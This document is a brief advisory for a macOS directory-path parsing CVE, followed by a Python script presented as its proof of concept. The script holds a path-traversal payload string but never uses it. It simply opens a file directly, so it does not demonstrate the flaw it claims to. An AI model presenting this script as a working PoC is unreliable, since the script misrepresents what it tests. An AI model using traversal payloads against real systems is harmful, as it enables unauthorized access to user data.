A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Tahoe 26.4. An app may be able to access sensitive user data.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
PoC for CVE-2026-20632 (macOS Directory Path Parsing Issue)
This script demonstrates a theoretical path traversal attempt.
Note: Actual exploitation requires a vulnerable macOS environment.
"""
import os
def simulate_path_traversal():
# Sensitive data location on macOS
target = "/Users/Shared/SensitiveData.txt"
# Malformed path attempting to bypass validation
# In a real scenario, this would be passed to a vulnerable API
payload = "./../../../../../.." + target
print(f"[*] Attempting to access: {target}")
print(f"[*] Using payload: {payload}")
# Simulate the vulnerability check failure
# Vulnerable system might normalize path incorrectly
try:
# This is a simulation, actual file access depends on permissions
if os.path.exists(target):
print("[+] Target file exists (Simulation)")
with open(target, 'r') as f:
print(f"[+] Content: {f.read()}")
else:
print("[-] File not found (Simulation)")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
simulate_path_traversal()